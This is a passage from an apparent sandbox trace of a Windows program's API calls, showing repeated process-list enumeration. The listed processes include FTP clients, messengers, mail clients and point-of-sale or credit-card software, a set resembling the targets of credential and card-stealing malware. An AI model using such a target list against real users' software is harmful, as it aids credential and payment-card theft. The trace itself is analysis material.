th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.733] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.733] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.734] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.735] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.735] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.736] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.778] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.778] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.779] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.780] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.780] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.781] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0100.781] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.782] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.782] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.783] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0100.783] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0100.784] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0100.785] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0100.785] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0100.786] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.786] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.787] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0100.787] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0100.792] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0100.792] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0100.793] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0100.793] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0100.794] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0100.794] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0100.795] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0100.795] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0100.796] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0100.798] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0100.798] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.799] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0100.799] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0100.800] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0100.800] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0100.801] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0100.801] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0100.802] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0100.802] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0100.803] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0100.804] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0100.805] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0100.806] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0100.807] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0100.808] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0100.809] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0100.810] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0100.811] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0100.812] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0100.813] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0100.813] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0100.814] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0100.815] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0100.816] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0100.817] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0100.818] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0100.819] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0100.819] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0100.820] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0100.821] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0100.822] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0100.823] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0100.824] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0100.825] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0100.826] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0100.827] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0100.827] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0100.828] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0100.829] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0100.830] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0100.830] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0100.831] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0100.832] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0100.833] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0100.834] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0100.835] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0100.835] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0100.836] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, 